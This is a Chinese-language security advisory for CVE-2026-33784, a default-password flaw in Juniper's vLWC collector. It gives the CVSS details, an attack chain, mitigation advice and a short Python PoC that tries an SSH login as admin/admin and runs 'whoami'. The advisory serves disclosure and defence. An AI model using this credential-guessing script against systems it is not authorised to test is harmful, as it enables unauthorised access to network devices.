IPBUF安全漏洞报告
English
CVE-2026-33784 CVSS 9.8 严重

CVE-2026-33784 Juniper vLWC默认密码漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-33784
漏洞类型
默认凭据
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Juniper Networks Support Insights (JSI) Virtual Lightweight Collector (vLWC)

相关标签

Default PasswordJunipervLWCRCECriticalPrivilege Escalation

漏洞概述

Juniper Networks JSI虚拟轻量级收集器(vLWC)存在严重的默认密码使用漏洞。由于vLWC软件镜像自带高权限账户初始密码,且在设备配置过程中未强制要求修改,未经认证的网络攻击者可利用此默认凭据远程获取设备完全控制权,严重影响系统安全。

技术细节

该漏洞的核心原因在于Juniper vLWC软件镜像在出厂时预置了一个具有高权限账户的默认密码,且系统设计上缺乏强制密码修改机制。在软件部署和配置阶段,系统未强制用户更改该初始密码,导致设备在默认状态下保留着一个公开或易被猜测的后门账户。由于该服务面向网络(AV:N)且无需预先认证(PR:N),远程攻击者只需通过网络探测到目标vLWC设备,即可使用默认凭据进行登录。鉴于默认密码通常在安装手册或技术社区中公开,利用门槛极低。攻击者成功登录后,将获得设备的最高权限,能够执行任意系统命令、篡改配置、窃取敏感数据或破坏服务,对系统的机密性、完整性和可用性造成全面破坏。

攻击链分析

STEP 1
1. 信息收集
攻击者扫描网络,寻找开放的Juniper vLWC设备服务端口(如SSH或Web管理端口)。
STEP 2
2. 利用默认凭据
攻击者使用已知的默认用户名和密码尝试登录目标设备。由于未强制修改,登录成功。
STEP 3
3. 获取系统控制权
攻击者利用获得的高权限会话执行恶意命令,安装后门,窃取数据或破坏系统功能。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import paramiko import time def check_vuln(target_ip, port=22): """ PoC for CVE-2026-33784: Default Password Vulnerability in Juniper vLWC. Attempts to login using default credentials. Note: Replace default_user and default_pass with actual credentials if known. Common defaults might be admin/admin or root/password. """ # Common default credentials placeholder default_user = "admin" default_pass = "admin" try: # Initialize SSH client client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) print(f"[*] Attempting connection to {target_ip}:{port}...") # Attempt login with default credentials client.connect(target_ip, port=port, username=default_user, password=default_pass, timeout=5) print(f"[+] SUCCESS: Logged in with {default_user}:{default_pass}") print(f"[+] Device is vulnerable to CVE-2026-33784") # Example command execution to verify control stdin, stdout, stderr = client.exec_command('whoami') output = stdout.read().decode().strip() print(f"[+] Current user: {output}") client.close() return True except paramiko.AuthenticationException: print(f"[-] Failed to authenticate. Credentials may be changed or incorrect.") return False except Exception as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": target = "192.168.1.1" # Replace with target IP check_vuln(target)

影响范围

vLWC < 3.0.94

防御指南

临时缓解措施
对于无法立即升级的设备,管理员应立即手动更改默认高权限账户的密码。同时,建议在网络防火墙或ACL中限制对vLWC设备管理端口的访问来源,仅允许必要的维护IP地址进行连接,并密切监控设备的登录日志,以检测异常的登录尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表